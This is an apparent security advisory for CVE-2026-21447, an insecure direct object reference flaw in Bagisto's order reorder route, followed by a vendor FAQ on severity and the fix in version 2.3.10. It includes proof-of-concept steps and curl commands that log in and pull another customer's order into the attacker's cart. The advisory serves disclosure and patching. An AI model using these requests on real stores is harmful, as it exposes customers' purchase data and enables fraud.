CVE-2026-21447

An Insecure Direct Object Reference vulnerability in the customer order reorder function allows any authenticated customer to add items from another customer's order to their own shopping cart by manipulating the order ID parameter. This exposes sensitive purchase information and enables potential fraud.

Details

The vulnerability exists in the reorder method within OrderController.php. Unlike other order-related functions like view, cancel, printInvoice that properly validate customer ownership, the reorder function retrieves orders using only the order ID without verifying that the order belongs to the authenticated customer.

Code location: packages/Webkul/Shop/src/Http/Controllers/Customer/Account/OrderController.php

Exposed Route: packages/Webkul/Shop/src/Routes/customer-routes.php

Route::get('reorder/{id}', 'reorder')->name('shop.customers.account.orders.reorder');

PoC

I. Create victim account and place an order.
II. Login as attacker.
III. Exploit IDOR and navigate like: http://target.xxx/customer/account/orders/reorder/1
IV. Check http://target.xxx/checkout/cart and verify exploitation.
V. Victim's order items are now in Attacker's cart.

PoC via curl:

curl -c cookies.txt -X POST "http://target.xxx/customer/login" -d "[email protected]&password=123qwe"

curl -b cookies.txt "http://target.xxx/customer/account/orders/reorder/1"

curl -b cookies.txt "http://target/api/checkout/cart"

• Information Disclosure: Attackers can discover what products other customers have purchased.
• Potential Fraud: Attackers could potentially exploit this for social engineering or targeted attacks.

CVE-2026-21447 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.10); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-21447? CVE-2026-21447 is a high-severity security vulnerability in bagisto/bagisto (composer), affecting versions < 2.3.10. It is fixed in 2.3.10.
2. How severe is CVE-2026-21447? CVE-2026-21447 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of bagisto/bagisto are affected by CVE-2026-21447? bagisto/bagisto (composer) versions < 2.3.10 is affected.
4. Is there a fix for CVE-2026-21447? Yes. CVE-2026-21447 is fixed in 2.3.10. Upgrade to this version or later.
5. Is CVE-2026-21447 exploitable, and should I be worried? Whether CVE-2026-21447 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-21447 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-21447? Upgrade bagisto/bagisto to 2.3.10 or later.